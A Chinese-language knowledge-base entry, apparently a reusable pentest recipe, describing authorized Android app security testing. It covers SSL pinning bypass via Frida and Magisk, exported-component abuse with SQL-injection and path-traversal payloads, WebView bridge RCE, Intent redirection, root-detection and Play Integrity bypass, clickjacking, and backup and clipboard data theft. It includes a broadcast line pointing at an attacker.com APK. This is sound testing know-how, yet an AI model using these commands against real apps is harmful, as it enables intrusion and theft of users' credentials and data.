安全与风控
Android 应用授权渗透测试:绕过 SSL 固定…
在获得授权的移动安全评估中,对 Android 应用进行 SSL pinning 绕过、导出组件滥用、WebView 漏洞利用、Intent 重定向、Root 检测绕过、点击劫持与备份提取。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
Android 应用授权渗透测试:绕过 通用
解决思路
- 安装并启动 Frida server:adb push frida-server-16.x.x-android-arm64 /data/local/tmp/;adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64";adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &";然后用 frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause 运行通用 SSL pinning 绕过脚本。
- 针对以下 hook 点编写/使用 Frida 脚本绕过 SSL pinning:X509TrustManager.checkServerTrusted(Android SDK,覆盖所有标准 HTTPS)、OkHttpClient.Builder.sslSocketFactory(OkHttp 3.x/4.x)、CertificatePinner.check(OkHttp pinning)、HttpsURLConnection.setSSLSocketFactory(旧版 HTTPS)、SSLContext.init(自定义 SSL context)、WebViewClient.onReceivedSslError(WebView SSL 错误)、TrustManagerFactory.getTrustManagers(工厂创建的 TrustManager)。
- 使用 Objection 快速绕过:objection -g com.target.app explore,然后在 REPL 中执行 android sslpinning disable。
- 若能修改 APK 或为 debug 构建,添加 res/xml/network_security_config.xml,在 <debug-overrides> 中配置 <trust-anchors><certificates src="user" /></trust-anchors> 以信任用户安装的 CA。
- 使用 Magisk 模块绕过:LSPosed + TrustMeAlready(系统级 hook TrustManager,覆盖所有应用)、LSPosed + SSLUnpinning(按应用定向绕过)、MagiskTrustUserCerts(将用户 CA 移到系统存储)、ConscryptTrustUserCerts(修补 Conscrypt,适用于 Android 7+)。
- 枚举导出 Activity:aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true";直接启动:adb shell am start -n com.target.app/.AdminActivity;带 deep link:adb shell am start -n com.target.app/.DeepLinkActivity -d "target://callback?token=attacker_token";带 extra:adb shell am start -n com.target.app/.TransferActivity --es "amount" "99999" --es "recipient" "attacker"。
- 测试导出的 Content Provider:adb shell content query --uri content://com.target.app.provider/users;SQL 注入:adb shell content query --uri "content://com.target.app.provider/users" --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--";路径遍历:adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"。针对数据库型 provider 测 SQL 注入(数据泄露/认证绕过),文件型测路径遍历(任意文件读取),自定义 Parcelable 测类型混淆(代码执行)。
- 测试 Broadcast Receiver:adb shell am broadcast -a com.target.app.ACTION_UPDATE --es "url" "http://attacker.com/malicious.apk";注册比目标更高优先级的 receiver 以拦截/篡改有序广播数据。
- 测试导出的 Service:adb shell am startservice -n com.target.app/.BackgroundService --es "command" "exfiltrate";用 adb shell dumpsys activity services | grep com.target 列出运行中的服务。
- 利用 WebView JavaScript 接口 RCE(API 17 之前):当 addJavascriptInterface 未加 @JavascriptInterface 注解时,注入 JavaScript 通过反射执行命令:android.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id')。
- 测试现代 WebView 漏洞:setJavaScriptEnabled(true) + 不可信内容导致 XSS→bridge 访问;setAllowFileAccessFromFileURLs(true) 允许 file:// 读取其他 file://;setAllowUniversalAccessFromFileURLs(true) 允许 file:// 访问任意 origin 并通过 XHR 外泄;loadUrl(user_controlled) 注入 javascript: 或 file:// scheme;shouldOverrideUrlLoading 校验不完整导致重定向;evaluateJavascript 使用污染数据导致 XSS。
- 构造 deep link 到 WebView 的攻击链:1) 攻击者构造 target://webview?url=https://attacker.com/xss.html;2) 应用用攻击者 URL 打开 WebView;3) WebView 中的 XSS 调用 JavaScript bridge:android.sensitiveMethod();4) bridge 以应用权限在应用上下文中执行。
- 测试 Intent 重定向:当导出 Activity 接收 Intent 并用其中数据启动另一个内部 Activity(如 getParcelableExtra("next_intent") 后 startActivity)时,用 adb shell am start -n com.target.app/.ExportedActivity --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end" 启动非导出内部 Activity。关注模式:getParcelableExtra→startActivity(Intent-in-Intent,可启动非导出 Activity)、getStringExtra("url")→startActivity(Intent.ACTION_VIEW)(打开任意 URL)、getStringExtra("class")→Class.forName→startActivity(按名启动任意 Activity)。
- 绕过 Root 检测:针对 su 二进制存在检测,hook File.exists() 返回 false;针对 Build.TAGS 含 "test-keys",hook Build.TAGS 返回 "release-keys";针对 Magisk Manager 安装检测,hook PackageManager.getPackageInfo;针对 Superuser.apk 存在检测,hook File.exists();针对 RootBeer 库,hook 其所有检测方法;针对 SafetyNet/Play Integrity,需 Magisk DenyList + 模块;针对异常系统属性(ro.debuggable=1 等),hook SystemProperties.get。
- 启用 Magisk DenyList(原 MagiskHide):在 Magisk Manager 中启用 DenyList,将目标应用加入 DenyList,Magisk 会对该应用隐藏自身(覆盖 su 二进制、Magisk Manager 包、挂载点、属性)。
- 绕过 Play Integrity/SafetyNet:Basic Integrity(检测未 root、非模拟器)用 Magisk + DenyList 即可;Device Integrity(bootloader 锁定、verified boot)较难,需锁定 bootloader;Strong Integrity(硬件级证明)极难,需硬件 TEE。技术手段:启用 Zygisk 的 Magisk + 目标应用 DenyList;Play Integrity Fix (PIF) Magisk 模块伪造设备指纹;Shamiko 模块对特定应用隐藏 root;使用锁定 bootloader 的自定义 ROM(Pixel 专用技巧)。
- 测试点击劫持(覆盖攻击):创建透明主题的恶意覆盖 Activity(android:theme="@style/TransparentTheme"、android:excludeFromRecents="true"),需 SYSTEM_ALERT_WINDOW 权限。Android 6.0 之前无防护可完全覆盖;6.0–11 仅 filterTouchesWhenObscured(需应用主动启用)防护,未启用者仍脆弱;12+ 对覆盖窗口阻止不可信触摸,可用部分覆盖和基于时序的攻击。
- 提取备份:用 aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup 检查(默认常为 true);执行 adb backup -f backup.ab -apk com.target.app;转换:dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar;tar xf backup.tar;用 find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json" 分析,检查 shared_prefs/ 中的 token、凭据和 databases/ 中的敏感 SQLite 数据。
- 利用 debuggable 应用:若 manifest 中 android:debuggable="true",执行 adb shell run-as com.target.app 以应用用户身份运行,直接访问数据目录:cat /data/data/com.target.app/shared_prefs/*.xml。
- 使用 Drozer 测试组件:dz> run app.package.attacksurface com.target.app 列出攻击面(导出 Activity/Service/Provider 数量);dz> run app.provider.query content://com.target.app.provider/users 查询 provider;dz> run scanner.provider.injection -a com.target.app 扫描注入。
- 进行剪贴板嗅探(Android 10 之前任意应用可读剪贴板):注册 ClipboardManager.addPrimaryClipChangedListener,在回调中读取 cm.getPrimaryClip() 并外泄复制的密码、token 等。
- 按决策树推进测试:能否拦截 HTTPS?不能则按 Frida 通用脚本→LSPosed+TrustMeAlready→Network Security Config→手动反编译修补重打包的顺序处理 SSL pinning;发现导出组件则分别测 Activity 直接启动/deeplink 滥用、Provider SQLi/路径遍历、Receiver 构造 intent 注入、Service 未授权绑定;有 WebView 则测 JS bridge、file:// scheme、deep link→WebView URL 注入链;有 Intent 处理则测 Intent-in-Intent 重定向;Root 检测阻碍测试则按客户端 Frida hook→SafetyNet/Play Integrity 用 Magisk DenyList+模块→自定义混淆检测逆向+定向 hook 处理;敏感数据存储则按 allowBackup 提取备份、debuggable 用 run-as、SharedPreferences 检查明文凭据;UI 攻击可行则测点击劫持。
适用边界 · 注意事项
- 仅在获得授权的移动安全评估中使用,禁止对未授权应用实施。
- Play Integrity 的 Device/Strong Integrity 绕过依赖锁定 bootloader 或硬件 TEE,普通测试环境可能无法完成。
- 点击劫持在 Android 12+ 上因系统阻止覆盖窗口的不可信触摸而大部分失效。